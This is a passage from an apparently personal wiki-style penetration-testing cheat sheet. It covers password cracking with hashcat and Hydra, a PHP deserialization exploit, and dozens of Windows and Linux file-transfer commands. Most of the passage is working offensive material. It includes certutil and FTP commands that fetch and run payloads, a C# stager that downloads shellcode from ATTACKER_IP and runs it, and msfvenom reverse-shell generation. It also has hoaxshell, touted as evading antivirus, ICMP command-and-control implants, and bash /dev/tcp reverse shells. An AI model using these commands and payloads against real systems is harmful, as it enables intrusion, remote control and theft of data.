hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 &amp;quot;C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*&amp;quot; -r &amp;quot;rules\best64.rule&amp;quot;&lt;br /&gt;
# Restore session&lt;br /&gt;
hashcat.exe --session session1 --restore&lt;br /&gt;
# Show cracked hashes&lt;br /&gt;
hashcat.exe hash2.hc22000 -m 22000 --show&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hydra ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Command&lt;br /&gt;
| Description&lt;br /&gt;
|-&lt;br /&gt;
| hydra -P &amp;lt;wordlist&amp;gt; -v &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| Brute force against a protocol of your choice&lt;br /&gt;
|-&lt;br /&gt;
| hydra -v -V -u -L &amp;lt;username list&amp;gt; -P &amp;lt;password list&amp;gt; -t 1 -u &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)&lt;br /&gt;
|-&lt;br /&gt;
| hydra -t 1 -V -f -l &amp;lt;username&amp;gt; -P &amp;lt;wordlist&amp;gt; rdp://&amp;lt;ip&amp;gt;&lt;br /&gt;
| Attack a Windows Remote Desktop with a password list.&lt;br /&gt;
|-&lt;br /&gt;
| hydra -l &amp;lt;username&amp;gt; -P .&amp;lt;password list&amp;gt; $ip -V http-form-post &#039;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log In&amp;amp;testcookie=1:S=Location&#039;&lt;br /&gt;
| Craft a more specific request for Hydra to brute force.&lt;br /&gt;
|}&lt;br /&gt;
https://www.tryhackme.com/room/hackpark&lt;br /&gt;
&lt;br /&gt;
=== John The Ripper ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1022&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
&lt;br /&gt;
=== shell_exec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
# If RFI dosent execute script, try this&lt;br /&gt;
# Create exploit.php&lt;br /&gt;
# cat exploit.php&lt;br /&gt;
&lt;br /&gt;
# Execute&lt;br /&gt;
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deserialization attack ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat 192.168.153.158/web/dev/index.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (!isset($_POST[&#039;page&#039;])){&lt;br /&gt;
        if (strpos(urldecode($_GET[&#039;page&#039;]),&#039;..&#039;)!==false){&lt;br /&gt;
                include(&#039;/var/www/dev/lfi-prev.html&#039;);&lt;br /&gt;
                }&lt;br /&gt;
        else{&lt;br /&gt;
                include(&#039;/var/www/dev/&#039;.$_GET[&#039;page&#039;]);&lt;br /&gt;
        }&lt;br /&gt;
        }&lt;br /&gt;
else{&lt;br /&gt;
        $f=$_POST[&#039;page&#039;];&lt;br /&gt;
        unserialize($f);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. &#039;-&amp;gt;&#039; is used in object scope to access methods and properties of an object.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat real_exploit.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$f = new Page;&lt;br /&gt;
$f-&amp;gt;file=&#039;/etc/passwd&#039;;&lt;br /&gt;
echo urlencode(serialize($f));&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# curl -XPOST -d &#039;page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D &#039; http://und3r_dev.deployer.off/index.php&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Transfering files ==&lt;br /&gt;
&lt;br /&gt;
=== A list of all commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CMD&lt;br /&gt;
# Bitsadmin.exe&lt;br /&gt;
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1&lt;br /&gt;
# CertReq.exe&lt;br /&gt;
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt&lt;br /&gt;
# Certutil.exe&lt;br /&gt;
certutil.exe -urlcache -split -f &amp;quot;http://10.10.14.13:8000/shell.exe&amp;quot; s.exe&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Desktopimgdownldr.exe&lt;br /&gt;
set &amp;quot;SYSTEMROOT=C:\Windows\Temp&amp;quot; &amp;amp;&amp;amp; cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr&lt;br /&gt;
# Diantz.exe&lt;br /&gt;
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab&lt;br /&gt;
# Esentutl.exe&lt;br /&gt;
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o&lt;br /&gt;
# Expand.exe&lt;br /&gt;
expand \\webdav\folder\file.bat c:\ADS\file.bat&lt;br /&gt;
# Extrac32.exe&lt;br /&gt;
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt&lt;br /&gt;
# Findstr.exe&lt;br /&gt;
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe &amp;gt; c:\ADS\file.exe&lt;br /&gt;
# Ftp.exe&lt;br /&gt;
cmd.exe /c &amp;quot;@echo open attacker.com 21&amp;gt;ftp.txt&amp;amp;@echo USER attacker&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo PASS PaSsWoRd&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo binary&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo GET /payload.exe&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo quit&amp;gt;&amp;gt;ftp.txt&amp;amp;@ftp -s:ftp.txt -v&amp;quot;&lt;br /&gt;
# GfxDownloadWrapper.exe&lt;br /&gt;
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe &amp;quot;URL&amp;quot; &amp;quot;DESTINATION FILE&amp;quot;&lt;br /&gt;
# Hh.exe&lt;br /&gt;
HH.exe http://some.url/script.ps1&lt;br /&gt;
# Ieexec.exe&lt;br /&gt;
ieexec.exe http://x.x.x.x:8080/bypass.exe&lt;br /&gt;
# Makecab.exe&lt;br /&gt;
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab&lt;br /&gt;
# MpCmdRun.exe&lt;br /&gt;
MpCmdRun.exe -DownloadFile -url  -path  //Windows Defender executable&lt;br /&gt;
# Replace.exe&lt;br /&gt;
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A&lt;br /&gt;
# Excel.exe&lt;br /&gt;
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll&lt;br /&gt;
# Powerpnt.exe&lt;br /&gt;
Powerpnt.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Squirrel.exe&lt;br /&gt;
squirrel.exe --download [url to package]&lt;br /&gt;
# Update.exe&lt;br /&gt;
Update.exe --download [url to package]&lt;br /&gt;
# Winword.exe&lt;br /&gt;
winword.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Wsl.exe&lt;br /&gt;
wsl.exe --exec bash -c &#039;cat  binary&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# POWERSHELL&lt;br /&gt;
# System.Net.WebClient&lt;br /&gt;
(New-Object Net.WebClient).DownloadFile(&amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot;,&amp;quot;C:\Windows\Temp\taskkill.exe&amp;quot;)&lt;br /&gt;
# Invoke-WebRequest&lt;br /&gt;
Invoke-WebRequest &amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot; -OutFile &amp;quot;taskkill.exe&amp;quot;&lt;br /&gt;
# Wget&lt;br /&gt;
wget &amp;quot;http://10.10.14.2/nc.bat.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\unifivideo\taskkill.exe&amp;quot;&lt;br /&gt;
# BitsTransfer&lt;br /&gt;
Import-Module BitsTransfer&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output&lt;br /&gt;
# OR&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output -Asynchronous&lt;br /&gt;
# Base64 Kali &amp;amp; EncodedCommand&lt;br /&gt;
kali&amp;gt; echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/9002.ps1&#039;)&amp;quot; | iconv --to-code UTF-16LE | base64 -w0&lt;br /&gt;
PS&amp;gt; powershell -EncodedCommand&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Certutil ===&lt;br /&gt;
&lt;br /&gt;
Easiest way to transfer to Windows&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://ip-addr:port/file&amp;quot; [output-file]&lt;br /&gt;
# Example - This will upload a shell to temp, and run execute it using cmd.exe&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.49.233/shell.exe&amp;quot; C:\windows\temp\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMD ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== tfpt ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69&lt;br /&gt;
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt install atftp&lt;br /&gt;
kali@kali:~$ sudo mkdir /tftp&lt;br /&gt;
kali@kali:~$ sudo chown nobody: /tftp&lt;br /&gt;
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp&lt;br /&gt;
# On target&lt;br /&gt;
tftp -i 10.11.0.4 put important.docx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Encrypted python3 http.server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create self signed cert&lt;br /&gt;
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 -c &amp;quot;import http.server, ssl;server_address=(&#039;0.0.0.0&#039;,443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile=&#039;localhost.pem&#039;,ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Evil-winrm ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file&lt;br /&gt;
upload shell.exe&lt;br /&gt;
# Download file&lt;br /&gt;
Download target.file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
Must have nc.exe binary on the target machine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacking machine command&lt;br /&gt;
nc -lvnp 4444 &amp;gt; FiletoDownload&lt;br /&gt;
## Victim machine command&lt;br /&gt;
nc.exe 10.10.10.100 4444 -w 3 &amp;lt; Filetodownload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Rejetto HFS - HTTP File Server (GUI based) ===&lt;br /&gt;
&lt;br /&gt;
Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.&lt;br /&gt;
&lt;br /&gt;
If you have RDP this tool works great.&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]&lt;br /&gt;
&lt;br /&gt;
=== Tiny Http Server - Rebex === &lt;br /&gt;
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.&lt;br /&gt;
&lt;br /&gt;
https://www.rebex.net/tiny-web-server/&lt;br /&gt;
&lt;br /&gt;
==== Transfer from attacker to target ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Drag and drop files you want to transfer. Change port by clicking on &#039;Port:&#039; or change IP by going to Menu and &#039;IP Adress&#039;.&lt;br /&gt;
&lt;br /&gt;
On target either open browser or wget, curl, etc&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://192.168.1.98:443/nmap.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Transfer from target to attacker ====&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Step-by-step&lt;br /&gt;
## First, define a real folder. To do this:&lt;br /&gt;
# Add a folder.&lt;br /&gt;
## Choose real folder.&lt;br /&gt;
## You should now see a RED folder in your virtual file system, inside HFS.&lt;br /&gt;
## Right click on this folder.&lt;br /&gt;
## Set Upload → upload for accounts → anyone&lt;br /&gt;
## Now anyone who has access to your HFS server can upload files to you.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Anyone can upload&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Click on on the folder &#039;Upload HFS&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Now anyone can upload files&lt;br /&gt;
&lt;br /&gt;
=== SCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From target to attacher&lt;br /&gt;
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .&lt;br /&gt;
# From attacker to target&lt;br /&gt;
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMBServer ===&lt;br /&gt;
&lt;br /&gt;
Create a smbserver with share name &amp;quot;share&amp;quot;, and location of folder to share&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbserver.py share /home/aghanim/Desktop/&lt;br /&gt;
## If target only supports smbserver2&lt;br /&gt;
smbserver.py share . -smb2support&lt;br /&gt;
## On target CMD&lt;br /&gt;
\\smbserver-ip\share\$FILE_NAME&lt;br /&gt;
## Copy file to target&lt;br /&gt;
copy \\smbserver-ip\share\$FILE_NAME .&lt;br /&gt;
## Copy file from target to attacker&lt;br /&gt;
copy FileToDownload \\smbserver-ip\share\FileToDownload&lt;br /&gt;
## SMBserver with username and password&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Must use single quote for URL. Worsk for Windows 7 &amp;amp; 2008 and above.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c (New-Object Net.WebClient).DownloadFile(&#039;http://ip-addr:port/file&#039;, &#039;output-file&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
sudo nc -lnvp 443 &amp;gt; receiving_powercat.ps1&lt;br /&gt;
# Target&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Python ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
python3 -m http.server 8080&lt;br /&gt;
python2 -m SimpleHTTPServer 8080&lt;br /&gt;
# Target&lt;br /&gt;
wget http://ip:port/file&lt;br /&gt;
curl http://ip:port/file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows upload using php and powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker, create a php upload script and host it on apache2 server&lt;br /&gt;
&lt;br /&gt;
# On target, upload files using this command.&lt;br /&gt;
powershell (New-Object System.Net.WebClient).UploadFile(&#039;http://10.11.0.4/upload.php&#039;, &#039;important.docx&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Shellcode and Staged payloads ==&lt;br /&gt;
&lt;br /&gt;
=== csharp stager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography.X509Certificates;&lt;br /&gt;
public class Program {&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
  private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
  public static void Main()&lt;br /&gt;
  {&lt;br /&gt;
    string url = &amp;quot;https://ATTACKER_IP/shellcode.bin&amp;quot;;&lt;br /&gt;
    Stager(url);&lt;br /&gt;
  }&lt;br /&gt;
  public static void Stager(string url)&lt;br /&gt;
  {&lt;br /&gt;
    WebClient wc = new WebClient();&lt;br /&gt;
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };&lt;br /&gt;
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;&lt;br /&gt;
    byte[] shellcode = wc.DownloadData(url);&lt;br /&gt;
    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);&lt;br /&gt;
    IntPtr threadHandle = IntPtr.Zero;&lt;br /&gt;
    UInt32 threadId = 0;&lt;br /&gt;
    IntPtr parameter = IntPtr.Zero;&lt;br /&gt;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);&lt;br /&gt;
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Msfvenom Staged payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
# -b &#039;\x00\x0a\x0d&#039;: Sets a list of characters to avoid in the generated shellcode. The characters &#039;\x00\x0a\x0d&#039; correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Bind shells ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -l -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Reverse shells ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
=== Reverse Shell Generator ===&lt;br /&gt;
&lt;br /&gt;
[https://www.revshells.com/ https://www.revshells.com/]&lt;br /&gt;
&lt;br /&gt;
=== hoaxshell ===&lt;br /&gt;
&lt;br /&gt;
Currently undetected by Microsoft and most AV (12.10.2022)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/t3l3machus/hoaxshell&lt;br /&gt;
──(root💀kali)-[/opt/hoaxshell]&lt;br /&gt;
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444                                                                                                                                              1 ⨯&lt;br /&gt;
    ┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬   ┬&lt;br /&gt;
    ├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤  │   │&lt;br /&gt;
    ┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘&lt;br /&gt;
                           by t3l3machus&lt;br /&gt;
[Info] Generating reverse shell payload...&lt;br /&gt;
powershell -e JABzAD0AJwAxADkAMgAuADEANg....&lt;br /&gt;
[Info] Type &amp;quot;help&amp;quot; to get a list of the available prompt commands.&lt;br /&gt;
[Info] Http Server started on port 4444.&lt;br /&gt;
[Important] Awaiting payload execution to initiate shell session...&lt;br /&gt;
[Shell] Payload execution verified!&lt;br /&gt;
[Shell] Stabilizing command prompt...&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; whoami&lt;br /&gt;
laptop-\alaag&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; systeminfo&lt;br /&gt;
Host Name:                 LAPTOP-&lt;br /&gt;
OS Name:                   Microsoft Windows 11 Home&lt;br /&gt;
OS Version:                10.0.22000 N/A Build 22000&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Workstation&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ICMP Reverse Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/krabelize/icmpdoor&lt;br /&gt;
# https://cryptsus.com/blog/icmp-reverse-shell.html&lt;br /&gt;
## Python version usage (both Windows and Linux):&lt;br /&gt;
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)&lt;br /&gt;
## Binary Windows version usage version:&lt;br /&gt;
./icmp-cnc.exe -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.exe -d CNC-IP (Implant)&lt;br /&gt;
## Binary Linux version usage version:&lt;br /&gt;
./icmp-cnc -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor -d CNC-IP (Implant)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH TCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
0/dev/tcp/10.0.0.1/4242; sh &amp;amp;196 2&amp;gt;&amp;amp;196&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/10.0.0.1/4242 0&amp;amp;1&lt;br /&gt;
